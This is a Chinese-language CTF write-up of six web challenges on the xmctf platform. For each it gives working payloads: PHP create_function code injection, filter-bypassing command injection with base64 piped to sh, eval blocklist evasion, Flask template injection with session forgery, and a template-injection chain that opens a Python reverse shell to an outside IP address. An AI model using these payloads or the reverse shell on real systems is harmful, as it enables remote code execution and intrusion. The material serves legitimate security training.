xmctf部分web
平台:xmctf.top
easy-web
打开靶机源码如下
<?php
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
echo 'check';
} else {
$act($arg,'');
}
echo '666';
badbad!!!
存在一个变量key为bad,定义了值为bad所以die出badbad,get传参两个参数act和arg,正则匹配a-z,0-9,/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,/D如果使用$限制结尾字符,则不允许结尾有换行
需要绕过if正则匹配,从而控制arg参数
考点:create_function代码注入
create_function:根据传递的参数创建匿名函数,并为其返回唯一名称
语法:
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
第一步要让key不die掉,直接post一个key把原来的key覆盖掉即可
然后想要函数正常调用,那就必须绕过正则,因此我们要在函数名的头或者尾加上一个字符\
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
那么接下来就是利用 $act($arg,'');
进行代码注入了。
payload:?act=\create_function&arg=){return%20123;}system(%27dir%27);//
传入之后
$act($arg,'');
create_function(){return%20123;}system(%27dir%27);//,'')
实际上也就是这样
function a{
return%20123;}system(%27dir%27);//
函数被闭合,就可以执行任意命令了。
读flag:
RCE-训练
打开靶机得源码
<?php
error_reporting(0);
highlight_file(__file__);
$ip = $_GET['ip'];
if (isset($ip)) {
if(preg_match("/(;|`| |&|cp|mv|cat|tail|more|rev|tac|\*|\{)/i", $ip)){
die("hack");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no!>");
}
$a = shell_exec("ping -c 4 ".$ip);
var_dump($a);
}
?>
主要两个正则,第一个过滤一些文件读取命令,第二个匹配flag的任意单个或多个字符串。
经测试可以用|
进行命令执行
那么关键是绕过了,可以利用shell命令构造
payload:?ip=127.0.0.1|echo$IFS$9bHMgLw|base64$IFS$1-d|sh
$IFS$9代替空格,bHMgLw->ls /,输出给base64还原然后sh执行
那么读取flag
web4
打开靶机有一串md5代码
解析后为1.1.1.1,抓包加个xff头成功下一步
打开php得源码
<?php
show_source(__FILE__);
error_reporting(0);
$disable_fun = ["assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$disable_fun = array_merge($disable_fun, get_defined_functions()['internal']);
foreach($disable_fun as $i){
if(stristr($_GET[shell], $i)!==false){
die('xmctf');
}
}
eval($_GET[shell]);
disable_fun列表是一些文件操作函数,array_merge将多个数组单元合并,get_defined_functions返回数组,foreach遍历新的disable_function并传递给$i,if检测如果传入的shell中在数组中出现,则die,过了if检测则输出shell内容
直接变量拼接,payload:?shell=$a;$a='syst'.'em';$a("cat flag.php");
传入在源码得到flag
web8
打开靶机
传入?name={{2*2}}
回显
猜测为模板注入,{{config}}
查看配置信息,发现secret_key泄露
那么考虑session伪造了,查看cookie部分发现jwt
解密得{'username': b'guest'}
,利用flask_session_cookie_manager脚本伪造admin
修改session访问/flag即可
web11
打开靶机只有一句hello,guest,讲道理要是没做web8我都想不到要传name。。。。
测试之后发现还是模板注入,
不过测试之后发现过了了很多东西,config,下划线,点号等等
也没有了session伪造不了,那么只能命令执行了。
payload:
{{""[request["ar"+"gs"]["class"]][request["ar"+"gs"]["mro"]][1][request["ar"+"gs"]["subclass"]]()[286][request["ar"+"gs"]["init"]][request["ar"+"gs"]["globals"]]["os"]["popen"](request["ar"+"gs"]["cmd"])["read"]()}}&class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.134.220",3122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用request["args"]["xx"]
配合赋值代替双下划线,后面开个python服务器连上自己的ecs,nc监听
读取flag即可。
web12
打开靶机得源码
flag在哪里呢?
<?php
header("Content-Type: text/html;charset=utf-8");
include "flag.php";
echo "flag在哪里呢?<br>";
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|cu|readfile|flip|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
主要三层正则匹配,第一层禁用了几个伪协议,第二层匹配a-z,逗号,下划线,(?R)引用当前表达式,(?R)?代表可以有引用,也可以没有,引用则变成[a-z,_]+\([a-z,_]+\((?R)?\)\)
的形式,可以一直迭代下去。这样可以匹配一些诸如print(echo(1))括号和字符组成的字符集,第三个禁用一些函数
payload:?exp=print_r(scandir(pos(localeconv())));
,scandir列出目录,pos返回数组中的当前单元, 默认取第一个值,localeconv返回数组。
那么读取flag.php,next函数读取php的第一个元素的下一个元素,flag.php是倒数第二个,所以可以把用array_reverse把数组倒过来再用next指向flag.php,最后用highlight_file读取。
payload:highlight_file(next(array_reverse(scandir(pos(localeconv())))));